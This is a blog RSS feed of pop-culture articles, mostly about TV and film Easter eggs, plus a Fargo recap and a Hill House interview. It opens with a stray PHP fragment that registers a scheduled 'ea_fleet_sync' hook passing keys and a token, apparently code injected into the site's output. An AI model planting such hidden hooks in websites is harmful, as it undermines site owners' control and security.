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_ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Easter – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Thu, 08 Sep 2022 14:15:15 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Easter – Brief News https://briefnews.eu 32 32 The 5 Best Easter Eggs And References In Star Trek: Lower Decks Season 3, Episode 3 https://briefnews.eu/the-5-best-easter-eggs-and-references-in-star-trek-lower-decks-season-3-episode-3/ https://briefnews.eu/the-5-best-easter-eggs-and-references-in-star-trek-lower-decks-season-3-episode-3/#respond Thu, 08 Sep 2022 14:15:15 +0000 https://briefnews.eu/the-5-best-easter-eggs-and-references-in-star-trek-lower-decks-season-3-episode-3/

In the third episode of the third season of “Star Trek: Lower Decks,” called “Mining the Mind’s Mines,” the crew of the U.S.S. Cerritos has been tasked with rescuing a team of geologists from a planet populated by silicon-based life forms called the Scrubble. Commander Ransom (Jerry O’Connell) bemoans the fact that Federation scientists often play fast-and-loose with safety, and it’s always Starfleet who has to come clean up their research missions when they go afoul. 

On the Scrubble planet, mysterious glowing crystal orbs read a victim’s thoughts, briefly manifest their deepest desires in the real world, and then turn their victims into statues. Throughout the episode, characters will have to come up with quick, embarrassed excuses when some of their deepest desires appear in front of their peers. Ensign Mariner (Tawney Newsome), for instance, can’t help but reveal that she’s developed feelings for her Andorian co-worker Jennifer. Ensign Boimler’s deepest desires involve his superior officer asking him to help out in an important mission; it’s kind of sad that even in fantasy, Boimler is never the one in charge. 

As is the mission statement of “Lower Decks,” “Mind’s Mines” is full of fun “Trek” references and clever Easter Eggs that an astute Trekkie will spot. Here are a few the keen eyes at /Film spotted.

Seductive, Mind-Reading, Shape-Shifting Alien Brain Parasites

If going by production order — which, Trekkies will tell you, is the only correct order in which to watch the original series — then “The Man Trap” is the show’s fifth episode. Broadcast order (feh) had it running first. Either way, a precedent was set early on “Star Trek,” and audiences would frequently see magical sci-fi creatures of devices that could read the minds of Starfleet officers and physically manifest their desires. In “The Man Trap” (September 8, 1966), Kirk (William Shatner) found an intruder on his ship in the form of a shapeshifting alien called simply the M-113 Creature. The creature is a leech monster who, as a defense mechanism, can appear differently to different people. 

In the episode “Shore Leave” (December 29, 1966), the crew of the Enterprise finds themselves on a planet that can read their thoughts and instantly construct robots based on whatever they’re thinking of. Kirk thinks of an old school rival. Sulu (George Takei) dreams of a handgun. Dr. McCoy (De Forest Kelley) dreams of the White Rabbit from “Alice in Wonderland.” 

In the “Star Trek: The Next Generation” episode “Where No One Has Gone Before” (October 26, 1987), the Enterprise is stranded in a distant part of the universe that, just as a natural phenomenon, manifested thoughts as reality, and Worf (Michael Dorn) created a beloved childhood pet. Picard (Patrick Stewart) had tea with his dead mother.

In the “Star Trek: Deep Space Nine” episode “If Wishes Were Horses” (May 17, 1993), the station crew finds figures like Rumpelstiltskin (Michael Anderson) wandering the station, as well as a hornier doppelgänger of Jadzia Dax (Terry Farrell). 

It seems that wishes do come true.

The U.S.S. Hood

Only glimpsed briefly, and only mentioned by name once, “Mining the Mind’s Mines” sees two California-class vessels coming to the aid of the U.S.S. Hood, an Excelsior-class vessel that is in charge of the mission. The Hood, Trekkies will know, has a storied off-to-the-side history throughout “Trek.” Most notably, the Hood was the first ship that Commander Riker (Jonathan Frakes) was assigned to early in his Starfleet career, serving under Captain Robert DeSoto (Michael Cavanaugh). Geordi LaForge (LeVar Burton) also once mentioned that he, too, served aboard the Hood at one point. 

The Hood would appear multiple times throughout “Next Generation,” probably because the show’s FX department only had so many models to go around, and the Hood was always a fun one to put next to the Enterprise. As such, the Hood was mentioned in the episodes “Tin Man,” “The Defector,” “Allegiance,” and was seen in larger fleets in battle-based episodes. The Hood would also get involved in scrapes with the Dominion during “Deep Space Nine,” and its name would be mentioned myriad times throughout. 

That the Hood is still in operation all these years later speaks to the tenacity of the ship. The Hood, incidentally, was named after Rear Admiral Sir Horace Lambert Alexander Hood, a World War I officer for the Royal Navy.

Dr. Leah Brahms

Ensign Rutherford (Eugene Cordero) is an engineer who loves machines and technical stuff, so it makes perfect sense that his ultimate fantasy should be an apparition of Dr. Leah Brahms.

First mentioned in the NextGen episode “Booby Trap” (October 30, 1989), Dr. Leah Brahms (Susan Gibney) was one of the designers who was instrumental in the design of the Enterprise-D. In “Booby Trap,” Geordi has to find a way to speed up power transfers on the ship in order to escape a millennia-old space snare that was draining power from all its systems. To better understand the ship, Geordi creates a holographic simulation of Brahms, and they develop a good rapport. Geordi ends up kind of developing a crush on the hologram, and the episode ends with a kiss. 

If that seems a little creepy — kissing a simulation of a real person — Geordi will be taken to task in “Galaxy’s Child” (March 11, 1991) wherein he will has an opportunity to meet the real Dr. Brahms. She discovers his lovey-dovey simulation and is horrified. Eventually, the two work together to solve a crisis, and Dr. Brahms has no hard feelings … as now she can go home to her husband. Geordi is left alone. In the series finale “All Good Things…” (May 23, 1994), an alternate future timeline reveals that Geordi and Dr. Brahms ended up getting married and having children of their own. 

Kukulkan

When the mind-reading crystal balls crack open, their powers are intensified, and they begin manifesting nightmares instead of dreams. Some of the creatures that appear are merely terrifying apparitions that anyone would be scared of: Klingon clowns with bat’leth arms, giant Borg snakes, etc. One of the manifestations is a red winged serpent that is namechecked as Kukulkan.

Kukulkan is a fun reference to a creature encountered in a “Star Trek: The Animated Series” episode “How Sharper Than a Serpent’s Tooth” (October 5, 1974) wherein the Enterprise finds an ancient Mayan city on a distant planet and awakens a legitimate Mayan god. Kukulkan announces that he once lived on Earth where he was worshiped. Now awakened, he plans on returning to get his old gig back. Kirk announces, in a daring notion for a kids’ show, that Earth has outgrown the need to worship; the planet, he explains, is now wholly atheist. Kirk thanks Kululkan for guiding Earth people through an early phase of development, but now is the time to kindly retire as a god. Kukulkan does. 

The Kukulkan seen in “Lower Decks” has nothing to say; it’s just a big scary flying monster. But his appearance is a fun nod. 

Silicon-Based Life Forms

The Scrubble are but the latest in a long series of “Star Trek” species that appear to be silicon based. Although the actual scientific possibility of silicon-based life seems to have been largely disproven, the possibility of a living rock is too tantalizing for the writers of sci-fi shows to give up. The two elements are right next to each other on the periodic table. As we all know, carbon and silicon can form ionic compounds by gaining four electrons, forming the carbide anion (C4-) and silicide anion (Si4-), but they more frequently form compounds through covalent bonding.

As such, mineral-based lifeforms crop up on “Trek” with frequency. In “Devil in the Dark” (March 9, 1967) Kirk and Spock (Leonard Nimoy) discover a rock monster called a horta that killed people to protect its eggs. In “The Savage Curtain” (March 7, 1969), Kirk and Spock are forced into hand-to-hand combat by an all-powerful, lava-like Excalbian. On NextGen, “Home Soil” (February 22, 1988) sees the discovery of sentient grains of sand, and “Silicon Avatar” (October 14, 1991) sees the second appearance of a creature simply called The Crystalline Entity. 

This is nothing to say of the multiple references throughout “Trek” to the Tholians, an antagonistic species made of crystal. The Scrubble are merely the latest in a long line of such species. 

Read this next: Every Star Trek Show And Movie In Chronological Order

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From the very first episode of “Better Call Saul,” viewers were primed to notice points of connection between the prequel and its parent series. If Bob Odenkirk’s Jimmy McGill so much as winked a certain way, “Breaking Bad” fans were eager to analyze it. Is this the moment? Is he becoming Saul Goodman in front of our eyes? When a scene of transformation finally did come, it was much later than anyone expected, but series creators Vince Gilligan and Peter Gould made sure to sprinkle in plenty of “Breaking Bad” connections in the meantime.

The series also doled out its cameos slowly and surely, including crossover characters only when it made sense for Jimmy’s story and the parallel origin stories of Gus (Giancarlo Esposito) and Mike (Jonathan Banks). So when Walter White’s brother-in-law Hank Schrader (Dean Norris) and his partner Steven Gomez (Steven Michael Quezada) appeared in the third and fourth episodes of the show’s penultimate season, the context for their scenes was a little bit disorienting. The pair of DEA agents come into play when Jimmy sets Krazy-8 (Max Arciniega) up as their confidential informant, leading them to stakeout that results in a massive bust.

Two Identical Drug Busts

Hank and Gomez’s appearance does move along the “Better Call Saul” plot, as it heats up the tension between Nacho, Gus, and Lalo. But it also includes one of the show’s more confusing Easter eggs, when Hank and Gomez land the drug bust. After hilariously bickering about the etymology of the word “culverts,” the pair ends up successfully arresting three people involved in Gus’ operation, seizing cash that amounts to “$ 700,000 and some change.” “We sure took a bite outta crime tonight, Macgruff!” Gomie says to Hank, before the whole team heads to a bar to celebrate.

This episode marks the end of their short time on “Better Call Saul,” and weirdly, it also aligns perfectly with the pilot episode of “Breaking Bad.” In one of the show’s first scenes, Walt (Bryan Cranston) gets the idea to cook meth after Hank makes everyone at his birthday party watch a local news interview about his latest drug bust. On TV, we see Hank describe three arrests, and when Walt asks his brother-in-law how much money was seized, he says about $ 700,000. It seems to be the same exact bust, only there’s no way it could be, as “Better Call Saul” season five is still set a few years before the events of “Breaking Bad.”

Coincidence Or Intentional?

The familiarities between the two scenes are ample enough that when it aired, some fans suddenly began to question their own mental timeline for the series. But on closer inspection, these are clearly two different events that are likely meant to echo one another. The most noticeable proof comes from an intentional character change: Gomez of the pre-“Breaking Bad” past has facial hair, while he doesn’t at Walt’s birthday party. There’s also the fact that Hank’s being interviewed on the news at what appears to be dawn or dusk, whereas he and his team leave the “Better Call Saul” bust in the dead of night to celebrate. This isn’t the same crime scene, then, but it is a strangely similar one.

Gould and Gilligan are consistently thoughtful about their filmmaking choices, so it’s likely the sense of deja vu this scene gives viewers is intentional. Perhaps the pair of DEA agents, who both die in “Breaking Bad,” return partly as ghostly warning signs. Their timing makes them perfect harbingers of the fatal turn the spin-off series will take once Lalo, Nacho, and Gus begin to escalate their conflict. The DEA agents win a battle that night, but the Albequerque drug lords ultimately win the war. An identical bust years later is proof to this point, as it shows just how much money and power is at stake in the business Jimmy finds himself wrapped up in.

Or maybe, just maybe, Gilligan and Gould wanted to give ASAC Schrader himself one last moment of victory on screen, a big bust worth bragging rights. If so, we can’t fault them for that: it was great to see Hank and Gomie back together again, and we could’ve watched them argue about culverts for several more episodes.

Read this next: Every Breaking Bad Reference In Better Call Saul (So Far)

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When asked about its value on the programme, Charles Hanson said he expected the egg to sell for two to three hundred pounds.

The auctioneer explained: “It’s in remarkably complete condition, with its casing as well. I think to many collectors, this egg really belongs in a museum to celebrate the food fancies through the decades.”

At the auction in Etwall near Derby, buyers scrambled to purchase this piece of history and the hammer price of £800 surpassed all expectations.

The successful bidder was the Bygones museum in Torquay, Devon.

It joins the museum’s collection of unusual historical items and antique food, which includes a Christmas pudding made in 1900.

Viewers can watch this episode of Bargain Hunt in June, although the show airs daily at 12.15pm on BBC One.

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Fargo capped off its fourth season by popping a cap in quite a few characters, as more than one criminal got their just desserts. (And we don’t mean an ipecac-laced pie.)

Sunday’s finale begins by flashing back through all the (many) people who have died this season — R.I.P., Rabbi Milligan; good riddance, Constant Calamita — and the ones who are still left alive aren’t much better off. Josto is drowning his sorrows in booze after his brother Gaetano’s accidental death, and Oraetta is behind bars after her poisoning scheme came to light. She gets bailed out by a mystery benefactor, though, and Ethelrida and her parents get their house back from Cannon’s gang while Josto takes bloody revenge on Doctor Harvard, ambushing him and gunning him down alongside another poor soul before setting fire to the car holding their dead bodies.

Loy is ready to call a truce with the Italians, and he hands over Donatello’s stolen ring to consigliere Ebal, telling him to “get your house in order” to end the war. It’s not over yet, though: A henchman wakes up a drunken Josto to tell him, “We got Cannon. It’s over. We won,” just as Leon sneaks up behind Loy and points a silenced pistol at his head. But he spoke too soon. Loy’s bodyguard Opal grabs Leon just in time, strangling him before he can shoot Loy, while Loy’s men track down Happy and his crew at a diner and gun them down. (We’re racking up quite a body count already, aren’t we?)

Fargo FX Season 4 Finale Josto Jason SchwartzmanJosto sobers up long enough to find Ebal and his entire family ready to confront him… along with Oraetta. “You stand accused of crimes against the family,” Ebal informs him, charging Josto with betraying the family by conspiring with Oraetta to kill Donatello. (Remember when Josto told Oraetta to “take care of” his dad? Well, she took that literally.) Josto frantically pleads his case, but it’s no use; Ebal thinks he killed Gaetano, too, so he’d have full control of the Fadda crime family. Josto and Oraetta are hauled away by goons and driven out to a remote field with a makeshift grave waiting. Josto tries to talk his way out of it — everyone just laughs when he asks, “Hasn’t there been enough killing?” — but he ends up taking a bullet in the head. So does Oraetta… but at least she got her final request of watching Josto die first. A sicko to the very end, that one.

Loy and his family arrive home to find their front door ajar, and Loy pulls out a gun before going inside to investigate. He finds dolls of the family arranged neatly on the dining room table, Satchel’s red hat on the bannister… and Satchel himself asleep in his bed, with his loyal dog at his feet. Loy excitedly hugs him and erupts with laughter, and his wife weeps as she’s reunited with her son. So Loy is sitting pretty when he sits down with Ebal to cement their truce. But Ebal has some “adjustments” to make to their deal: He now wants half of the Cannons’ business, which enrages Loy. But Ebal reminds him that he’s just one guy in one city, while the Italians have cities and families behind them, backing them up. If Loy doesn’t like the new deal, Ebal says, they’ll just kill him and find someone who will play ball. A resigned Loy leaves without a word and tells Opal to go home: “War’s over.”

Loy gazes inside his house’s window from the front porch, looking at his happily reunited family, his eyes welling with tears — when he’s stabbed in the back by Zelmare Roulette! (“For Swanee,” she tells him.) Satchel sees her, and she motions for him to “shhhh” before she drops the bloody knife and walks away. The boy crouches beside his dying father and watches as Loy draws his last breath. (He spilled a bunch of oranges, too; that’s gotta be a Godfather reference, right?) Ethelrida wraps things up by reading aloud from her history report, as we flash back to all the crime families through the years: “Who writes the books? Who chooses what we remember, and what gets forgotten?” We see her in what looks like a flash-forward, as she packs her bags and moves out.

Fargo FX Season 4 Finale Satchel Mike MilliganBut wait! There’s more! Midway through the credits, a car barrels down a dusty country road, and in it sits… Mike Milligan, the hitman from Season 2! With a Kitchen brother behind the wheel, Mike practices loading his gun and aiming it, and looks outside wistfully as we see flashbacks of Satchel and his pup walking down that same road. Yep, this confirms our season-long suspicions: Satchel grew up to be Mike, and took the Milligan surname as a tribute to his late guardian. In the Fargo universe, it turns out, everything is connected.

Fargo fans, you betcha it’s your turn: Give the finale (and Season 4 as a whole) a grade in our polls, and share your thoughts in the comments.

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]]> https://briefnews.eu/fargo-finale-recap-crime-doesnt-pay-plus-a-post-credits-easter-egg/feed/ 0 Fuller House’s Final Season: 20+ Easter Eggs and Classic References Explained https://briefnews.eu/fuller-houses-final-season-20-easter-eggs-and-classic-references-explained/ https://briefnews.eu/fuller-houses-final-season-20-easter-eggs-and-classic-references-explained/#respond Mon, 08 Jun 2020 00:46:50 +0000 https://briefnews.eu/fuller-houses-final-season-20-easter-eggs-and-classic-references-explained/

Fuller House‘s entire five-season run was peppered with callbacks to Full House, but the Netflix comedy went above and beyond for its just-released final episodes. And we have the show’s stars to thank for it, apparently.

“We kept giving the writers more [ideas], because we remember most of the things from the show,” Candace Cameron Bure tells TVLine. “Where they would give one nugget, we would give them another five on top of that. In that scene in the attic, Jodie and I were the ones who were like, ‘We need the Honeybee costumes and D.J.’s lips phone!’ They just have the newer things in the attic. We’re the ones who always suggest more and more.”

Adds Andrea Barber, “A lot of our writers haven’t even seen Full House, oddly enough, but Candace and Jodie and I were like, ‘We know all the relics you need to pull out.’ And some of them aren’t even referenced. We don’t even talk about them. You have to keep your eye out and look for them. This was our last chance to do all these callbacks, and we jammed in as many as we could.”

For this list, we chose to focus on the final nine episodes of Fuller House, which hit Netflix earlier this week. From old Tanner family memorabilia (D.J.’s lips phone!) to familiar guest stars (so many exes!), no stone was left unturned — or unreferenced — in the second half of Season 5.

Did we miss a few? It’s possible, but hey, that’s what the comments section is for! So check out our gallery of Easter eggs and references — click here for direct access — then drop a comment with any of your own additions below.

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We do love a parade, and NBC’s Late Night With Seth Meyers hosted one best it could, given the confines of the pandemic quarantine.

On Monday’s edition of the late-night NBC series, writer Amber Ruffin presided over an Easter Parade that was held within her own home. Because of the strange times we live in, each of the slapdash parade floats celebrated a certain and all-too-relatable aspect of quarantine life — including jeans that seem like such a fancy bother to shimmy into anymore, homemade cookies that barely hit the plate before being inhaled during a fit of despair, and of course a Zoom meeting with coworkers.

Press play above, grab a seat, and take in Ruffin’s stay-at-homemade festivities. Which float do you identity with most?

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]]> https://briefnews.eu/late-night-easter-parade-floats-celebrate-unworn-bras-and-other-quarantine-comforts-watch/feed/ 0 Good Omens fans will love finding all the Easter eggs in new teaser https://briefnews.eu/good-omens-fans-will-love-finding-all-the-easter-eggs-in-new-teaser/ https://briefnews.eu/good-omens-fans-will-love-finding-all-the-easter-eggs-in-new-teaser/#respond Thu, 14 Feb 2019 04:11:27 +0000 http://briefnews.eu/good-omens-fans-will-love-finding-all-the-easter-eggs-in-new-teaser/

Animated versions of the angel Aziraphale and demon Crowley take a walk through history in latest Good Omens teaser.

We’ve been on tenterhooks for months, waiting for news of when the long-awaited TV adaptation of Good Omens would air. And now the wait is over.

In conjunction with an announcement at the Television Critics Association regarding an airdate of May 31, Amazon Prime dropped a charming animated teaser trailer. Huzzah!

(Mild spoilers for the novel below.)

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Why did Michael B. Jordan need therapy after Black Panther? Which comic book movie was honored by the New York Film Critics Circle awards? Is there any hope of a Daredevil movie to finish the canceled series? Want to get your hands on some props from the Batman 1966 series? What Smallville reference will there be in Elseworlds? All that and more in this edition of Superhero Bits.

The origin story of Hawk and Dove will be explored, as teased in the latest promo for the next Titans episode.

Spider-Man: Into the Spider-Verse was named best animated film of 2018 by the New York Film Critics Circle.

The Daredevil social media accounts seem to hint that the hero isn’t done, despite being canceled at Netflix.

The latest episode of Titans confirms Justice League is still kicking around in this version of the DC Universe.

Get a sneak peek of the midseason finale of Marvel’s Avengers: Black Panther’s Quest in this new clip.

Yvette Monreal (Rambo 5: Last Blood) and Christopher James Baker (True Detective) have joined Stargirl.

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A poster for Glass takes a cue from Unbreakable and shatters Bruce Willis, James McAvoy & Sam Jackson.

If you’re sad about Daredevil being canceled, don’t count on a feature film to finish up the Marvel hero’s story.

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]]> https://briefnews.eu/superhero-bits-michael-b-jordan-got-therapy-after-black-panther-elseworlds-may-have-smallville-easter-egg-more/feed/ 0 Why ‘Pancake Milkshake’ Didn’t Make It Into ‘Ralph Breaks The Internet’ and Other Fun Easter Eggs & Cameos Revealed https://briefnews.eu/why-pancake-milkshake-didnt-make-it-into-ralph-breaks-the-internet-and-other-fun-easter-eggs-cameos-revealed/ https://briefnews.eu/why-pancake-milkshake-didnt-make-it-into-ralph-breaks-the-internet-and-other-fun-easter-eggs-cameos-revealed/#respond Thu, 22 Nov 2018 17:47:51 +0000 http://briefnews.eu/why-pancake-milkshake-didnt-make-it-into-ralph-breaks-the-internet-and-other-fun-easter-eggs-cameos-revealed/ pancake milkshake in ralph breaks the internet

Today, we continue my interview with Ralph Breaks The Internet directors Phil Johnston and Rich Moore, and producer Clark Spencer, in a discussion that is all about the film’s spoilers, cameos, and easter eggs. The filmmakers explain why the “Pancake Milkshake” scene, which was one of the funniest parts of the film’s marketing (and has been included in a lot of the film’s merchandising), didn’t make it into the actual movie. They also share their favorite cameos and easter eggs. If you’ve seen the film and don’t mind spoiler chat, read on!

Can you talk about Pancake Milkshake? Because that was such a phenomenon with the trailers and the marketing. And I’m guessing it had a place in the movie at some point.

Moore: Definitely, yeah.

Can you tell us like what the original purpose was?

Moore: Well, it was one of the online games that they visited when they were loot hunting. After they met Spamley. And that section got really long. Where it was like we just need to get to Slaughter Race and trying to get Shank’s car. We’re spending too much time in this beat that really has nothing to do with the story. Everyone gets what loot hunting is. We don’t have to kind of show it.

But you had this trailer out there that people loved.

Moore: Yeah, so Pancake Milkshake was one of the first things that we animated, too. So it was finished as a complete thing, and it ended up, and the people that make our trailers were like, “Oh we wanna use this in the trailer.” Like great. So it’s in the trailer. And then suddenly it’s like that’s when we hit that point where it’s like we need to cut it. We can’t keep it in just because it’s in the trailer. And people were saying, “Well, but they’re making the plush and the Funko figures.”

There’s a whole toy line.

Moore: Yeah, and it’s like, “Well, I’m sorry, but it’s, I mean, it’s a case of like if it is not serving the story, we can’t keep it in there.” So then Phil was the one who had the idea of like, what if we make it a end credits scene? Kind of a post-credits scene. And it’s a joke about that the little girl in the car is upset that it wasn’t in the movie. And it just leads right into the Mom saying, “Oh, play your game. That’ll make you feel better.” And then we have the scene as it was.

I love that because I’m the guy that like watches all the trailers and I’m like, “That scene was not in the movie.”

Moore: Yeah.

Johnston: Yeah. Absolutely.

Moore: I’m the same way. It drives me crazy. I remember when Empire Strikes Back came out. There was one shot in the trailer of C-3PO at Hoth in the rebel base ripping a sign off of a door. And I’m like what is that? I gotta see that. That’s something very special. And it never appeared in the movie. And through the whole thing I was like, “Maybe at the end they will go back to Hoth, and we will see that.” But yeah, that drives me insane.

oh my disney

There’s a lot of Easter Eggs in this film. I think, particularly in the Oh My Disney section. I think a lot of them are pretty obvious if you look around and stuff. Is there anything that people might miss that are your favorites that you got to sneak in there?

Johnston: I like the Clarabelle Cow. I mean, that one’s pretty…

Spencer: Did you see the hand-drawn Humphrey Bear and Ranger?

That’s awesome.

Johnston: Mark Henn did that in about a week. Animated that, ’cause we were at the end and didn’t have the ability to do anymore CG animation or didn’t have models built.

Moore: Right. And I’m like, “We gotta add more stuff.”

Johnston: Why don’t we do some 2D stuff? And Mark Kiraletamaki, who’s our co-head of animation, was like, “Remember Humphrey Bear and the Ranger and all they walked around?”

Moore: Jack Hannah cartoon.

Johnston: “Cleaning up the park for the litter. And well, couldn’t they be doing that in Oh My Disney?” Mark, could you draw it? Do that, can you animate that? “Absolutely.” So that happened, I mean, within – very few things are clear in my memory, but that’s within the last several months that that was, maybe July something, that he did that. And that’s a cool one.

Moore: Yeah. I like Judy Hopps with Rocket Raccoon in that little chase scene.

Johnston: They’re hidden.

Moore: They’re kind of hidden off to the side. There’s –

I didn’t know, I don’t think I caught that one.

Moore: Yeah, it’s hard to see, yeah.

Johnston: The Monsters, Inc. door’s in there.

Moore: In the background. There’s Arlo from Good Dinosaur. There’s a lot of like…

Johnston: It might be worthy of screen grabbing and…

I can’t wait to do that.

Moore: Like on the Disney Animation, but it’s like the old posters from the old movies are recreated like as kind of signs on the outside, so there’s a lot.

Johnston: Not to mention the outside of Oh My Disney has a lot of the hotels and motels that you see near Disneyland. So the exterior you’ll see like motels and things that evoke Disneyland.

Moore: Dot com. Yeah.

That is awesome. Can you talk about some of the voice cameos in the movie? ‘Cause there’s some that like are obvious, like Groot.

Moore: Groot.

Michael Giacchino as stormtrooper

But there’s Michael Giacchino reprising his role as the same stormtrooper he played in The Force Awakens. How did that happen?

Moore: Well, just knowing like he’s a good friend. We’re both humongous Star Wars fans. And knowing that we were gonna have Stormtroopers and people were like, “Well, who are we gonna get the people that do the Stormtroopers?” Why yes, we should. We should get Michael to do one. And I texted him, would you be willing to don the uniform once more? But yeah, it was pretty, I love Mantzoukas, Jason Mantzoukas is like the fan that’s grilling Groot.

Yeah, that’s great.

Moore: And it kind of looks like –

It’s so very Comic-Con.

Moore: Yeah.

And you guys always put yourselves in the movie somewhere, right?

Moore: Not really. Like we do some voices. We’re no, that’s Ron and John, like Musker and Clements always do caricatures of themselves.

Yeah voices, that’s what I’m saying.

Johnston: Oh yeah, I do…

Moore: Oh, we do, like I do Sour Bill and Zangief. Phil’s the Surge Protector.

Johnston: I do Surge Protector. And the Auctioneer who auctions off the tortilla chip that looks like Beyonce.

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When Annabeth Gish agreed to join The Haunting of Hill House‘s cast, she didn’t know she was signing up to play a buttoned-up caretaker’s wife with a deep history related to the ghost-filled abode. She had no idea the horror-tinged drama would become such a buzzy success.

All she knew was that she’d worked with writer/director Mike Flanagan on a scary movie called Before I Wake. And if he was involved, she was in.

“He came around saying, ‘Hey, I have this role. I can’t show it to you, exactly. It’s very different from anything you’ve ever done before. It’s much more character-y. It’s not glamorous. Would you consider doing it, sight-unseen?’” she recalls. “And I was like, ‘Yes, because I think you’re a visionary.’”

Gish is also a fan of the Shirley Jackson novel on which the Netflix series is loosely based — and she says she and Flanagan discussed how the newest incarnation of Mrs. Dudley would use Rosalie Crutchley’s performance in the 1963 film adaptation as a starting point.

“We wanted her to be almost ghostly herself,” she says. “We wanted a tiny nod to the fact that she’s lived through all of these Hills, and the potential that you never really know. Like, is her daughter real? Is she real? What, exactly, is it?”

In the Q&A below, we picked Gish’s brain about all things Hill House. Topics included a cool visual that was a “happy accident,” the unique way one of her co-stars introduced himself and why in the world Clara Dudley would choose to stick around such a creepy place for so long.

TVLINE | Did you do any kind of special prep to get into Mrs. Dudley’s mindset?
It’s strange for me, because I’m not particularly religious in the fundamental sense. So you know, [it included] putting on a big shiny cross. Lynn Falconer, the costume designer, wanted very specific [pieces]. Like, my boots were almost from the 1860s, and it was just a strange, off wardrobe and texture that makes it seem like she’s…. where is she? [Laughs] It’s just creepy.

And yet in some of the scenes with Carla [Gugino], there’s even like a touch of the contemporary. Her language isn’t antiquated, but her energy is.

The Haunting of Hill HOuse Annabeth Gish Interview Mrs DudleyTVLINE | When I was rewatching, I noticed something in the scene where you and Carla are in the solarium with the sculptures. You’re holding paint cans in and you stop right in front of the angel sculpture, and it looks like Mrs. Dudley has angel wings. Given what we know about all of the other visual hints Mike Flanagan worked into the series, I assume this was no accident.
It was a coincidence.

TVLINE | Really?!
It was a happy accident, just in terms of my blocking and my timing and where I was stopping. And [Flanagan] was like, “Wait, don’t move, don’t move. Oh my God,” he said, “It’s crazy. It looks like you have angel wings.” And then we utilized that, but it was not intentional going into the scene.

TVLINE | Why do you think your character stays as one of the house’s caretakers when so many bad things have happened there, some of them to her?
I think there is always in Clara Dudley… I don’t want to expound on religion, but I think sometimes she clings very tightly to that because she even yet knows that the mystical is in this house. She says to Olivia, “You know, I wasn’t going to work for you, but when I found out there were children here…” And it’s a play on the word “housekeeper.” I mean, she’s the keeper of the house of secrets, and so therefore, there is some sort of contract she has with the dark side of the house. And I do think that the lure of the house has a power over people that she eventually succumbs to.

The Haunting of Hill House Annabeth Gish INterview Mrs DudleyTVLINE | Let’s talk about what the Dudleys go through in the end of the series. Their daughter is murdered and comes back as a ghost, then they make a pact with the people responsible for her death. It works, somehow — how do you, as an actress, make that happen?
There is something about the emotional significance, the way Flanagan and his writers wrote this, there was never, for me, a loss of feeling to play. I mean, the words are heightened. The sets and the energy are heightened. It makes you just feel it. Even though you know you’re on set and in Atlanta, you just know there’s some palpable feeling that is woven in. I’m sure you’ve read about the set, which was incredible. They built this insane, beautiful, three-story house. And you do feel — with all of the sculptures — that there was a weaving in of creepy. So, sometimes I would even protect myself with white light just because. You feel like you’re playing with the dark arts sometimes when you go there emotionally.

TVLINE | I read that Robert Longstreet, who plays Mr. Dudley, wrote you a letter before he met you. What was your reaction when you got it?
You know, I love it. Especially in this day and age… people lose their enthusiasm sometimes for what we do and so, it was very sweet and touching and immediately made me feel excited to work with him. And he had a playlist as well, like of the Dudleys’ songs.

TVLINE | What were some of the songs on the list?
Well, that would probably be for him if you’re talking to him. They were very evocative and painful songs. I love that. I love the enthusiasm and the passion that he brought to this, which was refreshing.

TVLINE | We don’t see the Dudleys together until the end of the series. Did you two talk about what kind of relationship they might have, like how they might be with each other when they weren’t at the house?
Yes, except sort of my Method-y process with her was that she was always very withholding from everyone. We see it when she comes [to Hill House] that night and when they find Olivia. Her hair is down, and she has a little more relaxed face. [Laughs] But I don’t think that they have this, you know, intimate hoedown in the backwoods of the Hill House.

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